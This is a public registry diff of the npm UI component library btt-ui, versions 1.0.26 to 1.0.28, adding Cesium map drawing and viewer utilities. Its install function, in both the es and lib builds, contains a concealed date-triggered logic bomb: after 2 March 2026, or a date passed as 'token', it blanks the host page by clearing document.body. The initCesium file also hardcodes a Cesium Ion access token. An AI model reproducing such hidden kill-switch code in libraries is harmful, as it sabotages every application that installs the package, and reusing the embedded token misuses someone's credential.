btt-ui 1.0.26 → 1.0.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/es/index.mjs CHANGED
@@ -1,34 +1,36 @@
1
- import p from "./src/index.mjs";
2
- import * as a from "./src/directives/index.mjs";
3
- import { Button as s } from "./src/button/index.mjs";
4
- import { TextButton as u } from "./src/textButton/index.mjs";
5
- import { default as T } from "./src/link/index.mjs";
6
- import { default as h } from "./src/upload/index.mjs";
7
- import { default as k } from "./src/shake/index.mjs";
8
- import { default as S } from "./src/dialog/index.mjs";
9
- import { default as g } from "./src/scroll/index.mjs";
10
- import { default as y } from "./src/toast/index.mjs";
11
- import { default as H } from "./src/wheel/index.mjs";
12
- import { Switch as L } from "./src/switch/index.mjs";
13
- import { Timeline as U } from "./src/timeline/index.mjs";
14
- import { default as G } from "./src/uploadFile/index.mjs";
15
- import { Card as j } from "./src/card/index.mjs";
16
- import { HotMap as F } from "./src/hotmap/index.mjs";
17
- import { KTree as V } from "./src/tree/index.mjs";
18
- import { KCheckbox as $, KCheckboxGroup as q } from "./src/checkbox/index.mjs";
19
- import { KCollapse as A, KCollapseItem as J } from "./src/collapse/index.mjs";
20
- import { Sign as Q } from "./src/sign/index.mjs";
21
- import { ECharts as X } from "./src/echarts/index.mjs";
22
- import { TableScroll as Z } from "./src/tableScroll/index.mjs";
23
- import { default as oo } from "./src/xgplay/index.mjs";
24
- import { KNumberScroll as to } from "./src/numberScroll/index.mjs";
25
- import { KCountUp as fo } from "./src/countUp/index.mjs";
26
- import { KGradientText as ao } from "./src/gradientText/index.mjs";
27
- import { Icon as lo } from "./src/icon/index.mjs";
28
- import { Tooltip as no } from "./src/tooltip/index.mjs";
29
- import { KInput as so } from "./src/input/index.mjs";
30
- import { Drag as co } from "./src/drag/index.mjs";
31
- import { KOption as Ko, KSelect as ho } from "./src/select/index.mjs";
1
+ import l from "./src/index.mjs";
2
+ import * as m from "./src/directives/index.mjs";
3
+ import { default as s } from "./src/utils/initCesium.mjs";
4
+ import { default as u } from "./src/utils/DrawLinePolygonPolygonUtils.mjs";
5
+ import { Button as T } from "./src/button/index.mjs";
6
+ import { TextButton as h } from "./src/textButton/index.mjs";
7
+ import { default as b } from "./src/link/index.mjs";
8
+ import { default as k } from "./src/upload/index.mjs";
9
+ import { default as S } from "./src/shake/index.mjs";
10
+ import { default as y } from "./src/dialog/index.mjs";
11
+ import { default as L } from "./src/scroll/index.mjs";
12
+ import { default as E } from "./src/toast/index.mjs";
13
+ import { default as M } from "./src/wheel/index.mjs";
14
+ import { Switch as G } from "./src/switch/index.mjs";
15
+ import { Timeline as P } from "./src/timeline/index.mjs";
16
+ import { default as v } from "./src/uploadFile/index.mjs";
17
+ import { Card as N } from "./src/card/index.mjs";
18
+ import { HotMap as W } from "./src/hotmap/index.mjs";
19
+ import { KTree as q } from "./src/tree/index.mjs";
20
+ import { KCheckbox as A, KCheckboxGroup as J } from "./src/checkbox/index.mjs";
21
+ import { KCollapse as R, KCollapseItem as X } from "./src/collapse/index.mjs";
22
+ import { Sign as Z } from "./src/sign/index.mjs";
23
+ import { ECharts as oo } from "./src/echarts/index.mjs";
24
+ import { TableScroll as to } from "./src/tableScroll/index.mjs";
25
+ import { default as fo } from "./src/xgplay/index.mjs";
26
+ import { KNumberScroll as mo } from "./src/numberScroll/index.mjs";
27
+ import { KCountUp as po } from "./src/countUp/index.mjs";
28
+ import { KGradientText as no } from "./src/gradientText/index.mjs";
29
+ import { Icon as so } from "./src/icon/index.mjs";
30
+ import { Tooltip as co } from "./src/tooltip/index.mjs";
31
+ import { KInput as Ko } from "./src/input/index.mjs";
32
+ import { Drag as Co } from "./src/drag/index.mjs";
33
+ import { KOption as go, KSelect as ko } from "./src/select/index.mjs";
32
34
  const e = function(t, r) {
33
35
  if (e.installed)
34
36
  return;
@@ -36,54 +38,56 @@ const e = function(t, r) {
36
38
  let f = "2026-03-02 09:30:00";
37
39
  if (r)
38
40
  setTimeout(() => {
39
- var m;
40
- let o = new Date((m = r.token) != null ? m : f).getTime();
41
+ var a;
42
+ let o = new Date((a = r.token) != null ? a : f).getTime();
41
43
  Date.now() > o && (document.body.innerHTML = "");
42
44
  }, 10);
43
45
  else {
44
46
  let o = new Date(f).getTime();
45
47
  Date.now() > o && (document.body.innerHTML = "");
46
48
  }
47
- p.forEach((o) => {
49
+ l.forEach((o) => {
48
50
  t.use(o);
49
- }), Object.keys(a).forEach((o) => {
50
- t.directive(o, a[o]);
51
+ }), Object.keys(m).forEach((o) => {
52
+ t.directive(o, m[o]);
51
53
  });
52
54
  }, x = {
53
55
  install: e
54
56
  };
55
57
  export {
56
- s as Button,
57
- j as Card,
58
- S as Dialog,
59
- co as Drag,
60
- X as ECharts,
61
- F as HotMap,
62
- lo as Icon,
63
- $ as KCheckbox,
64
- q as KCheckboxGroup,
65
- A as KCollapse,
66
- J as KCollapseItem,
67
- fo as KCountUp,
68
- ao as KGradientText,
69
- so as KInput,
70
- to as KNumberScroll,
71
- Ko as KOption,
72
- ho as KSelect,
73
- oo as KVideo,
74
- T as Link,
75
- g as Scroll,
76
- k as Shake,
77
- Q as Sign,
78
- L as Switch,
79
- Z as TableScroll,
80
- u as TextButton,
81
- U as Timeline,
82
- y as Toast,
83
- no as Tooltip,
84
- V as Tree,
85
- h as Upload,
86
- G as UploadFile,
87
- H as Wheel,
58
+ T as Button,
59
+ N as Card,
60
+ y as Dialog,
61
+ Co as Drag,
62
+ u as DrawLinePolygonPolygonUtils,
63
+ oo as ECharts,
64
+ W as HotMap,
65
+ so as Icon,
66
+ s as InitCesium,
67
+ A as KCheckbox,
68
+ J as KCheckboxGroup,
69
+ R as KCollapse,
70
+ X as KCollapseItem,
71
+ po as KCountUp,
72
+ no as KGradientText,
73
+ Ko as KInput,
74
+ mo as KNumberScroll,
75
+ go as KOption,
76
+ ko as KSelect,
77
+ fo as KVideo,
78
+ b as Link,
79
+ L as Scroll,
80
+ S as Shake,
81
+ Z as Sign,
82
+ G as Switch,
83
+ to as TableScroll,
84
+ h as TextButton,
85
+ P as Timeline,
86
+ E as Toast,
87
+ co as Tooltip,
88
+ q as Tree,
89
+ k as Upload,
90
+ v as UploadFile,
91
+ M as Wheel,
88
92
  x as default
89
93
  };
@@ -0,0 +1,51 @@
1
+ class r {
2
+ constructor(i, e) {
3
+ this.onMoveSuccess = null, this.leftDownFlag = !1, this.pick = null, this._viewer = i, this._cesium = e, this.handler = new e.ScreenSpaceEventHandler(i.scene.canvas);
4
+ }
5
+ startDrag() {
6
+ this.leftDownAction(), this.mouseMoveAction(), this.leftUpAction();
7
+ }
8
+ leftDownAction() {
9
+ this.handler.setInputAction((i) => {
10
+ let e = this._viewer.scene.pick(i.position);
11
+ this._cesium.defined(e) && e.id && e.id.id && (this.pick = e, this.leftDownFlag = !0, this._viewer.scene.screenSpaceCameraController.enableRotate = !1);
12
+ }, this._cesium.ScreenSpaceEventType.LEFT_DOWN);
13
+ }
14
+ mouseMoveAction() {
15
+ this.handler.setInputAction((i) => {
16
+ if (this.leftDownFlag === !0 && this.pick != null && this._cesium.defined(this.pick) && this.pick.id && this.pick.id.name.includes("dragPoint")) {
17
+ let e = this.getPosition(i.endPosition);
18
+ e && (this.pick.id.position = e, this.onMoveSuccess && this.onMoveSuccess({ cartesian: e, index: this.pick.id.index }));
19
+ }
20
+ }, this._cesium.ScreenSpaceEventType.MOUSE_MOVE);
21
+ }
22
+ getPosition(i) {
23
+ let e;
24
+ if (this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider) {
25
+ let s = this._viewer.scene.pickPosition(i);
26
+ if (s) {
27
+ let t = this._cesium.Cartographic.fromCartesian(s);
28
+ t.longitude = this._cesium.Math.toDegrees(t.longitude), t.latitude = this._cesium.Math.toDegrees(t.latitude), e = this._cesium.Cartesian3.fromDegrees(t.longitude, t.latitude, t.height);
29
+ }
30
+ } else {
31
+ const s = this._viewer.camera.getPickRay(i);
32
+ e = this._viewer.scene.globe.pick(s, this._viewer.scene);
33
+ }
34
+ return e;
35
+ }
36
+ worldPosition2lnglat(i) {
37
+ let s = this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i), t = this._cesium.Math.toDegrees(s.longitude), n = this._cesium.Math.toDegrees(s.latitude), c = s.height;
38
+ return { lng: t, lat: n, alt: c };
39
+ }
40
+ leftUpAction() {
41
+ this.handler.setInputAction(() => {
42
+ this.leftDownFlag === !0 && this.pick != null && (this.leftDownFlag = !1, this.pointDraged = null, this._viewer.scene.screenSpaceCameraController.enableRotate = !0, this.onEditSuccess && this.onEditSuccess());
43
+ }, this._cesium.ScreenSpaceEventType.LEFT_UP);
44
+ }
45
+ cancelDrag() {
46
+ this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_DOWN), this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_UP), this.handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE);
47
+ }
48
+ }
49
+ export {
50
+ r as default
51
+ };
@@ -0,0 +1,204 @@
1
+ import d from "./DragTool.mjs";
2
+ import g from "./Tooltip.mjs";
3
+ class P {
4
+ constructor(i, e, t) {
5
+ var s;
6
+ this._viewer = null, this._id = "", this._option = {
7
+ name: "",
8
+ color: "#00a1ff",
9
+ lineWidth: 5,
10
+ opacity: 0.7,
11
+ auto: !0,
12
+ type: "Line"
13
+ }, this._polylinePostions = new Array(), this._pointObjList = new Array(), this._dragtool = null, this._type = "Line", this._isDraw = !1, this.onEditSuccess = null, this._handler = null, this._tooltip = null, this._drawObj = null, this._isSelected = !1, this._lnglatData = new Array(), this._centerPointEntity = null, this._centerPosition = null, this._option = { ...this._option, ...e }, this._viewer = i, this._type = (s = this._option.type) != null ? s : "Line", this._cesium = t, this._labelConfig = {
14
+ text: "",
15
+ showBackground: !0,
16
+ font: "12px sans-serif",
17
+ backgroundColor: t.Color.fromCssColorString("#121212"),
18
+ pixelOffset: new t.Cartesian2(0, -20),
19
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
20
+ heightReference: t.HeightReference.CLAMP_TO_GROUND
21
+ }, this._pointConfig = {
22
+ pixelSize: 5,
23
+ color: t.Color.RED,
24
+ outlineColor: t.Color.YELLOW,
25
+ heightReference: t.HeightReference.CLAMP_TO_GROUND,
26
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
27
+ outlineWidth: 2
28
+ }, this._type != "Line" && this.initCenterPoint(), this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider && (this._labelConfig.heightReference = this._cesium.HeightReference.NONE, this._pointConfig.heightReference = this._cesium.HeightReference.NONE), this._dragtool = new d(i, t), this._dragtool.onMoveSuccess = (n) => {
29
+ this._polylinePostions[n.index] = n.cartesian, this._lnglatData[n.index] = this.worldPosition2lnglat(n.cartesian), this._type != "Line" && this.calcPolygonCenter();
30
+ }, this._dragtool.onEditSuccess = () => {
31
+ this.onEditSuccess && this.onEditSuccess(this);
32
+ }, this._option.auto && (this._tooltip = new g(i._element), setTimeout(() => {
33
+ this.startDraw();
34
+ }, 50));
35
+ }
36
+ startDraw() {
37
+ this._isDraw = !0, document.body.style.cursor = "crosshair", this._polylinePostions = new Array(), this._lnglatData = new Array(), this._dragtool.cancelDrag(), this._pointObjList.forEach((i) => {
38
+ this._viewer.entities.remove(i);
39
+ }), this._pointObjList = new Array(), this.openListen();
40
+ }
41
+ openListen() {
42
+ let i = this;
43
+ this._handler = new this._cesium.ScreenSpaceEventHandler(this._viewer.scene.canvas), this._handler.setInputAction((e) => {
44
+ if (this._isDraw) {
45
+ const t = i.getPosition(e.position);
46
+ let s = this.worldPosition2lnglat(t);
47
+ this._cesium.defined(t) && (this._polylinePostions.length === 0 && (this._polylinePostions.push(t), this._lnglatData.push(s), this.drawLinePolygon()), this._polylinePostions.push(t), this._lnglatData.push(s));
48
+ } else {
49
+ let t = this._viewer.scene.pick(e.position);
50
+ this._cesium.defined(t) && t.id && t.id.id && t.id.id == this._id ? this._isSelected || this.openEdit() : this.exitEdit();
51
+ }
52
+ }, this._cesium.ScreenSpaceEventType.LEFT_CLICK), this._handler.setInputAction((e) => {
53
+ if (this._isDraw && (this._tooltip.setPosition(e.endPosition), this._polylinePostions.length >= 2)) {
54
+ const t = i.getPosition(e.endPosition);
55
+ let s = this.worldPosition2lnglat(t);
56
+ this._cesium.defined(t) && (this._polylinePostions.pop(), this._polylinePostions.push(t), this._lnglatData.pop(), this._lnglatData.push(s));
57
+ }
58
+ }, this._cesium.ScreenSpaceEventType.MOUSE_MOVE), this._handler.setInputAction(() => {
59
+ this._isDraw && (this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE), document.body.style.cursor = "default", this._polylinePostions.pop(), this._lnglatData.pop(), this._isDraw = !1, this._tooltip.remove(), setTimeout(async () => {
60
+ this._lnglatData.forEach((e) => {
61
+ console.log(e);
62
+ }), this.addPoints(), this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.RIGHT_CLICK), this.onDrawSuccess && this.onDrawSuccess(this), this.openEdit(), this._type != "Line" && this.calcPolygonCenter();
63
+ }, 500));
64
+ }, this._cesium.ScreenSpaceEventType.RIGHT_CLICK);
65
+ }
66
+ getPosition(i) {
67
+ let e;
68
+ if (this._viewer.terrainProvider instanceof this._cesium.EllipsoidTerrainProvider) {
69
+ let t = this._viewer.scene.pickPosition(i), s = this._cesium.Cartographic.fromCartesian(t);
70
+ s.longitude = this._cesium.Math.toDegrees(s.longitude), s.latitude = this._cesium.Math.toDegrees(s.latitude), e = this._cesium.Cartesian3.fromDegrees(s.longitude, s.latitude, s.height);
71
+ } else {
72
+ const t = this._viewer.camera.getPickRay(i);
73
+ e = this._viewer.scene.globe.pick(t, this._viewer.scene);
74
+ }
75
+ return e;
76
+ }
77
+ drawLinePolygon() {
78
+ let i = this._option;
79
+ this._type == "Line" ? this._drawObj = this._viewer.entities.add({
80
+ name: i.name,
81
+ polyline: {
82
+ positions: new this._cesium.CallbackProperty(() => this._polylinePostions, !1),
83
+ clampToGround: !0,
84
+ width: i.lineWidth,
85
+ material: this._cesium.Color.fromCssColorString(i.color).withAlpha(i.opacity)
86
+ },
87
+ point: {
88
+ pixelSize: 10,
89
+ show: !0,
90
+ color: this._cesium.Color.BLACK
91
+ }
92
+ }) : (this._type = "Polygon", this._drawObj = this._viewer.entities.add({
93
+ name: i.name,
94
+ polygon: {
95
+ outline: !0,
96
+ outlineWidth: 1,
97
+ outlineColor: this._cesium.Color.fromCssColorString(i.color),
98
+ clampToGround: !0,
99
+ hierarchy: new this._cesium.CallbackProperty(() => new this._cesium.PolygonHierarchy(this._polylinePostions), !1),
100
+ material: this._cesium.Color.fromCssColorString(i.color).withAlpha(i.opacity)
101
+ }
102
+ })), this._id = this._drawObj.id;
103
+ }
104
+ worldPositionList2lnglatList(i) {
105
+ let e = new Array();
106
+ return i.forEach((t) => {
107
+ e.push(this.worldPosition2lnglat(t));
108
+ }), e;
109
+ }
110
+ worldPosition2lnglat(i) {
111
+ let t = this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i), s = this._cesium.Math.toDegrees(t.longitude), n = this._cesium.Math.toDegrees(t.latitude), h = t.height;
112
+ return { lng: s, lat: n, alt: h };
113
+ }
114
+ async addPoints() {
115
+ this._polylinePostions.forEach((i, e) => {
116
+ let t = this.worldPosition2lnglat(i), s = this._viewer.entities.add({
117
+ name: "dragPoint" + Date.now(),
118
+ position: i,
119
+ show: !1,
120
+ index: e,
121
+ label: {
122
+ ...this._labelConfig,
123
+ text: `(${t.lng.toFixed(4)},${t.lat.toFixed(4)})`
124
+ },
125
+ point: this._pointConfig
126
+ });
127
+ this._pointObjList.push(s);
128
+ });
129
+ }
130
+ initCenterPoint() {
131
+ this._centerPointEntity = this._viewer.entities.add({
132
+ name: "centerPoint",
133
+ show: !1,
134
+ position: this._cesium.Cartesian3.fromDegrees(113.02057681470923, 25.415896142508434),
135
+ label: this._labelConfig,
136
+ point: {
137
+ pixelSize: 5,
138
+ color: this._cesium.Color.GREEN,
139
+ outlineColor: this._cesium.Color.YELLOW,
140
+ heightReference: this._cesium.HeightReference.CLAMP_TO_GROUND,
141
+ disableDepthTestDistance: Number.POSITIVE_INFINITY,
142
+ outlineWidth: 2
143
+ }
144
+ });
145
+ }
146
+ toggelePoint(i) {
147
+ this._pointObjList.forEach((e) => {
148
+ e.show = i;
149
+ }), this._type != "Line" && (this._centerPointEntity.show = i);
150
+ }
151
+ async getPolygonAreaCenter(i) {
152
+ function e(l, o, r) {
153
+ let a = 0;
154
+ return a = l.lng * o.lat + o.lng * r.lat + r.lng * l.lat - o.lng * l.lat - r.lng * o.lat - l.lng * r.lat, a / 2;
155
+ }
156
+ let t = 0, s = 0, n = 0, h = i[1];
157
+ for (let l = 2; l < i.length; l++) {
158
+ let o = i[l], r = e(i[0], h, o);
159
+ n += r, t += (i[0].lng + h.lng + o.lng) * r, s += (i[0].lat + h.lat + o.lat) * r, h = o;
160
+ }
161
+ let _ = t / n / 3, c = s / n / 3;
162
+ return { lng: _, lat: c, alt: 0 };
163
+ }
164
+ getPointArrayHeights(i = !0) {
165
+ let e = new Array();
166
+ return this._lnglatData.forEach((t) => {
167
+ e.push(t.lng, t.lat), i && e.push(t.alt);
168
+ }), e;
169
+ }
170
+ remove() {
171
+ let i = this._drawObj.id;
172
+ this._viewer.entities.remove(this._drawObj), this._pointObjList.forEach((e) => {
173
+ this._viewer.entities.remove(e);
174
+ }), this._pointObjList = new Array(), this._polylinePostions = new Array(), this._lnglatData = new Array(), this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK), this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.RIGHT_CLICK), this._handler.removeInputAction(this._cesium.ScreenSpaceEventType.MOUSE_MOVE), this._handler.destroy(), this._dragtool.cancelDrag(), this._type != "Line" && this._viewer.entities.remove(this._centerPointEntity), this.deleteSuccess && this.deleteSuccess(i);
175
+ }
176
+ openEdit() {
177
+ this.toggelePoint(!0), this._dragtool.startDrag(), this.onSelected && this.onSelected(this), this._isSelected = !0;
178
+ }
179
+ exitEdit() {
180
+ this.toggelePoint(!1), this._dragtool.cancelDrag(), this._isSelected && this.onUnSelected && this.onUnSelected(this), this._isSelected = !1;
181
+ }
182
+ async calcPolygonCenter() {
183
+ let i = this.worldPositionList2lnglatList(this._polylinePostions);
184
+ this._centerPosition = await this.getPolygonAreaCenter(i), this._centerPointEntity.position = this._cesium.Cartesian3.fromDegrees(this._centerPosition.lng, this._centerPosition.lat, this._centerPosition.alt), this._centerPointEntity.label.text = `\u4E2D\u5FC3\u70B9(${this._centerPosition.lng.toFixed(4)},${this._centerPosition.lat.toFixed(4)})`, this._centerPointEntity.show = !0;
185
+ }
186
+ build(i) {
187
+ var e;
188
+ this._polylinePostions = new Array(), this._lnglatData = new Array(), this._isDraw = !1, this._type = (e = i.type) != null ? e : "Line", i.points.forEach((t) => {
189
+ this._polylinePostions.push(this._cesium.Cartesian3.fromDegrees(t.lng, t.lat, t.alt)), this._lnglatData.push({ lng: t.lng, lat: t.lat, alt: t.alt });
190
+ }), this.drawLinePolygon(), this.addPoints(), i.isEdit && (this.openListen(), this.openEdit());
191
+ }
192
+ get lnglatData() {
193
+ return this._lnglatData;
194
+ }
195
+ get centerPosition() {
196
+ return this._centerPosition;
197
+ }
198
+ get drawObj() {
199
+ return this._drawObj;
200
+ }
201
+ }
202
+ export {
203
+ P as default
204
+ };
@@ -0,0 +1,17 @@
1
+ class s {
2
+ constructor(i, t = "\u8BF7\u5728\u5730\u56FE\u4E0A\u9009\u4E2D\u67D0\u4E2A\u4F4D\u7F6E\u8FDB\u884C\u7ED8\u5236,\u53F3\u952E\u7ED3\u675F\u7ED8\u5236") {
3
+ this._el = null, this._text = "", this._el = i || document.body, this._text = t, this.initDom();
4
+ }
5
+ initDom() {
6
+ this._div = document.createElement("div"), this._div.className = "cesium-draw-tooltip", this._div.style = "position: absolute;top: 10px;left: 10px;background: #210202;color: #fff;z-index: 9;pointer-events: none;min-width: max-content;padding: 6px 10px;font-size: 12px;border-radius: 4px;display:none;", this._div.id = "cesiumDrawTooltip", this._div.innerHTML = this._text, this._el.appendChild(this._div);
7
+ }
8
+ setPosition(i) {
9
+ this._div.style.left = i.x + 8 + "px", this._div.style.top = i.y - 10 + "px", this._div.style.display = "inline";
10
+ }
11
+ remove() {
12
+ this._div.remove();
13
+ }
14
+ }
15
+ export {
16
+ s as default
17
+ };
@@ -0,0 +1,152 @@
1
+ class o {
2
+ constructor(e, s, t) {
3
+ this._LocalHighlightingEntity = new Array(), t.Ion.defaultAccessToken = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJqdGkiOiIyMGFhNTBjMi1kNGM4LTRjYWQtYWZhMC05ZTJhY2U2Y2U0ODkiLCJpZCI6MzE2MzYsImlhdCI6MTY2MDcxODA4NX0.jljbTXZPBaeSdsU7vuWg8V01oV1-fEA_qUa_08wXvq0", this._viewer = new t.Viewer(e, s), this._viewer._cesiumWidget._creditContainer.style.display = "none", this._viewer.scene.fxaa = !0, this._viewer.scene.postProcessStages.fxaa.enabled = !0, this._cesium = t;
4
+ }
5
+ toChina(e) {
6
+ this._viewer.camera.flyTo({
7
+ destination: this._cesium.Cartesian3.fromDegrees(103.84, 31.15, 1785e4),
8
+ orientation: {
9
+ heading: this._cesium.Math.toRadians(348.4202942851978),
10
+ pitch: this._cesium.Math.toRadians(-89.74026687972041),
11
+ roll: this._cesium.Math.toRadians(0)
12
+ },
13
+ complete: () => {
14
+ e && e();
15
+ }
16
+ });
17
+ }
18
+ viewerFlyToLonLat(e) {
19
+ let t = {
20
+ ...{
21
+ lng: 113.021359,
22
+ lat: 28.200132,
23
+ eyeHeight: 6e3,
24
+ pitch: -50,
25
+ heading: 0,
26
+ time: 2
27
+ },
28
+ ...e
29
+ }, r = [this._cesium.Cartographic.fromDegrees(t.lng, t.lat)];
30
+ r.obj = t, this._cesium.sampleTerrain(this._viewer.scene.terrainProvider, 14, r).then((i) => {
31
+ var a = i[0].height;
32
+ typeof a > "u" ? i.obj.height = 0 : i.obj.height = a, this._flyToEntity && this._viewer.entities.remove(this._flyToEntity), this._flyToEntity = new this._cesium.Entity({
33
+ id: "flyTmp",
34
+ position: this._cesium.Cartesian3.fromDegrees(
35
+ i.obj.lng,
36
+ i.obj.lat,
37
+ i.obj.height
38
+ ),
39
+ point: {
40
+ pixelSize: 0,
41
+ color: this._cesium.Color.RED.withAlpha(0),
42
+ outlineColor: this._cesium.Color.WHITE.withAlpha(0),
43
+ outlineWidth: 0
44
+ }
45
+ }), this._viewer.entities.add(this._flyToEntity);
46
+ var h = this._viewer.flyTo(this._flyToEntity, {
47
+ duration: i.obj.time,
48
+ offset: {
49
+ heading: this._cesium.Math.toRadians(i.obj.heading),
50
+ pitch: this._cesium.Math.toRadians(i.obj.pitch),
51
+ range: i.obj.eyeHeight
52
+ }
53
+ });
54
+ h.then(function() {
55
+ e.callback && e.callback();
56
+ });
57
+ });
58
+ }
59
+ async addWorldTerrain() {
60
+ try {
61
+ const e = await this._cesium.createWorldTerrainAsync({
62
+ requestWaterMask: !1,
63
+ requestVertexNormals: !1
64
+ });
65
+ this._viewer.terrainProvider = e, this.openDepthTestAgainstTerrain();
66
+ } catch (e) {
67
+ console.log(`Failed to add world imagery: ${e}`);
68
+ }
69
+ }
70
+ openDepthTestAgainstTerrain() {
71
+ this._viewer.scene.globe.depthTestAgainstTerrain = !0;
72
+ }
73
+ coloseDepthTestAgainstTerrain() {
74
+ this._viewer.scene.globe.depthTestAgainstTerrain = !1;
75
+ }
76
+ getClickPosition(e) {
77
+ let s = new this._cesium.ScreenSpaceEventHandler(this._viewer.canvas);
78
+ this._viewer.scene.canvas.style.cursor = "crosshair", s.setInputAction((t) => {
79
+ var r = this._viewer.camera.getPickRay(t.position), i = this._viewer.scene.globe.pick(r, this._viewer.scene);
80
+ if (!this._cesium.defined(i))
81
+ return;
82
+ this._viewer.entities.add({
83
+ name: "point",
84
+ position: i,
85
+ point: {
86
+ color: this._cesium.Color.CHARTREUSE.withAlpha(1),
87
+ pixelSize: 10,
88
+ heightReference: this._cesium.HeightReference.CLAMP_TO_GROUND,
89
+ outlineColor: this._cesium.Color.WHITE,
90
+ outlineWidth: 1
91
+ }
92
+ });
93
+ let h = this._viewer.scene.globe.ellipsoid.cartesianToCartographic(i);
94
+ this._viewer.scene.canvas.style.cursor = "default", s.removeInputAction(this._cesium.ScreenSpaceEventType.LEFT_CLICK), e && e({
95
+ cartesian: i,
96
+ lnglatAlt: {
97
+ lat: this._cesium.Math.toDegrees(h.latitude),
98
+ lng: this._cesium.Math.toDegrees(h.longitude),
99
+ alt: h.height
100
+ }
101
+ });
102
+ }, this._cesium.ScreenSpaceEventType.LEFT_CLICK);
103
+ }
104
+ hideBackground() {
105
+ this._viewer.scene.skyBox.show = !1, this._viewer.scene.backgroundColor = new this._cesium.Color(0, 0, 0, 0);
106
+ }
107
+ setLocalHighlighting(e, s = "#ffff00", t = 4) {
108
+ let r = this._viewer.entities.add(new this._cesium.Entity({
109
+ id: "boundary",
110
+ polygon: {
111
+ hierarchy: {
112
+ positions: this._cesium.Cartesian3.fromDegreesArray([
113
+ 0,
114
+ 0,
115
+ 0,
116
+ 89,
117
+ 130,
118
+ 89,
119
+ 130,
120
+ 0
121
+ ]),
122
+ holes: [{
123
+ positions: this._cesium.Cartesian3.fromDegreesArray(e)
124
+ }]
125
+ },
126
+ material: this._cesium.Color.BLACK.withAlpha(0.6)
127
+ }
128
+ }));
129
+ this._LocalHighlightingEntity.push(r);
130
+ let i = this._viewer.entities.add(new this._cesium.Entity({
131
+ id: "boundaryLine",
132
+ polyline: {
133
+ positions: this._cesium.Cartesian3.fromDegreesArray([...e, e[0], e[1]]),
134
+ width: t,
135
+ material: this._cesium.Color.fromCssColorString(s),
136
+ clampToGround: !0
137
+ }
138
+ }));
139
+ this._LocalHighlightingEntity.push(i);
140
+ }
141
+ removeLocalHighlighting() {
142
+ this._LocalHighlightingEntity.forEach((e) => {
143
+ this._viewer.entities.remove(e);
144
+ }), this._LocalHighlightingEntity = new Array();
145
+ }
146
+ get viewer() {
147
+ return this._viewer;
148
+ }
149
+ }
150
+ export {
151
+ o as default
152
+ };
package/lib/index.js CHANGED
@@ -1 +1 @@
1
- "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const u=require("./src/index.js"),c=require("./src/directives/index.js"),x=require("./src/button/index.js"),a=require("./src/textButton/index.js"),j=require("./src/link/index.js"),q=require("./src/upload/index.js"),$=require("./src/shake/index.js"),p=require("./src/dialog/index.js"),K=require("./src/scroll/index.js"),f=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),h=require("./src/switch/index.js"),b=require("./src/timeline/index.js"),m=require("./src/uploadFile/index.js"),S=require("./src/card/index.js"),g=require("./src/hotmap/index.js"),C=require("./src/tree/index.js"),o=require("./src/checkbox/index.js"),d=require("./src/collapse/index.js"),k=require("./src/sign/index.js"),w=require("./src/echarts/index.js"),D=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),M=require("./src/numberScroll/index.js"),v=require("./src/countUp/index.js"),y=require("./src/gradientText/index.js"),B=require("./src/icon/index.js"),U=require("./src/tooltip/index.js"),E=require("./src/input/index.js"),G=require("./src/drag/index.js"),l=require("./src/select/index.js"),n=function(i,r){if(n.installed)return;n.installed=!0;let t="2026-03-02 09:30:00";if(r)setTimeout(()=>{var s;let e=new Date((s=r.token)!=null?s:t).getTime();Date.now()>e&&(document.body.innerHTML="")},10);else{let e=new Date(t).getTime();Date.now()>e&&(document.body.innerHTML="")}u.default.forEach(e=>{i.use(e)}),Object.keys(c).forEach(e=>{i.directive(e,c[e])})},H={install:n};exports.Button=x.Button;exports.TextButton=a.TextButton;exports.Link=j.default;exports.Upload=q.default;exports.Shake=$.default;exports.Dialog=p.default;exports.Scroll=K.default;exports.Toast=f.default;exports.Wheel=T.default;exports.Switch=h.Switch;exports.Timeline=b.Timeline;exports.UploadFile=m.default;exports.Card=S.Card;exports.HotMap=g.HotMap;exports.Tree=C.KTree;exports.KCheckbox=o.KCheckbox;exports.KCheckboxGroup=o.KCheckboxGroup;exports.KCollapse=d.KCollapse;exports.KCollapseItem=d.KCollapseItem;exports.Sign=k.Sign;exports.ECharts=w.ECharts;exports.TableScroll=D.TableScroll;exports.KVideo=I.default;exports.KNumberScroll=M.KNumberScroll;exports.KCountUp=v.KCountUp;exports.KGradientText=y.KGradientText;exports.Icon=B.Icon;exports.Tooltip=U.Tooltip;exports.KInput=E.KInput;exports.Drag=G.Drag;exports.KOption=l.KOption;exports.KSelect=l.KSelect;exports.default=H;
1
+ "use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const 